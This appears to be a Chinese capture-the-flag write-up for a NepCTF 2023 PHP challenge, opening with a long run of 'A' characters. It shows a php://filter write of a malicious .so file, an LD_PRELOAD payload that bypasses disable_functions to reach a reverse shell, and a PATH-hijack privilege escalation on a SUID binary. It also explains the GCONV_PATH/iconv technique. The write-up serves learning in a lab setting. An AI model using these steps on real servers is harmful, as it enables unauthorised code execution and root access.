AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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$d->saveHtmlFile("php://filter/string.strip_tags|convert.base64-decode/resource=$f");
成功写进去了
接下来就是劫持环境变量,然后去执行这个恶意so文件中的函数即可:
post:
1=var_dump(scandir("/tmp/"));
putenv("LD_PRELOAD=/tmp/poc.so");
mb_send_mail("","","");
反弹到shell了,接下来就需要提权了
根目录下有个showmsg
文件,具有s权限位
他的源码是src.c:
#include
#include
#include
#include
#include
int main(int argc, char **argv, char **envp) {
gid_t gid;
uid_t uid;
gid = getegid();
uid = geteuid();
setresgid(gid, gid, gid);
setresuid(uid, uid, uid);
printf("Thank you! This is the final step. --From lx56\n");
return system("cat /tmp/resources/4.txt");
}
会调用到cat,很明显可以使用环境变量提权:
cd /tmp
echo "/bin/sh" > cat
chmod 777 cat
export PATH=/tmp:$PATH
cd /
./showmsg
tac flag
(cat被污染了,所以不能用cat)
学到了LFI2RCE
,LD_PRELOAD
绕过disable_functions
https://www.yuque.com/dat0u/ctf/gle88r6ghcn1891u#yvenp
https://boogipop.com/2023/08/14/NepCTF%202023%20All%20WriteUP/#Ez-include
https://xz.aliyun.com/t/4623#toc-7
https://www.tr0y.wang/2018/04/18/PHPDisalbedfunc/index.html#error_log
原理:https://www.wangan.com/p/7fy7fg4103b2ee22#%E5%88%A9%E7%94%A8GCONV_PATH%E4%B8%8Eiconv
原理简介:
php 在执行 iconv 函数时,实际上是调用 glibc 中的 iconv 相关函数,其中一个很重要的函数叫做 iconv_open()。
linux 系统提供了一个环境变量:GCONV_PATH,该环境变量能够使 glibc 使用用户自定义的 gconv-modules 文件,因此,如果指定了 GCONV_PATH 的值,iconv_open 函数的执行过程会如下:
1.iconv_open 函数依照 GCONV_PATH 找到 gconv-modules 文件,这个文件中包含了各个字符集的相关信息存储的路径,每个字符集的相关信息存储在一个.so 文件中,即 gconv-modules 文件提供了各个字符集的.so 文件所在位置。
根据 gconv-modules 文件的指示找到参数对应的.so 文件。
调用.so 文件中的 gconv() 和 gonv_init() 函数。
一些其他步骤。
我们的利用方式就是首先在某一文件夹(一般是 /tmp)中上传 gconv-modules 文件,文件中指定我们自定义的字符集文件的.so,然后我们再在.so 文件中的 gonv_init() 函数中书写命令执行函数,之后上传 php 的 shell,内容是使用 php 设定 GCONV_PATH 指向我们的 gconv-modules 文件,然后使用 iconv 函数使我们的恶意代码执行。
https://gist.github.com/LoadLow/90b60bd5535d6c3927bb24d5f9955b80
https://boogipop.com/2023/08/14/NepCTF%202023%20All%20WriteUP/#Hive-it
https://www.yuque.com/dat0u/ctf/gle88r6ghcn1891u#yvenp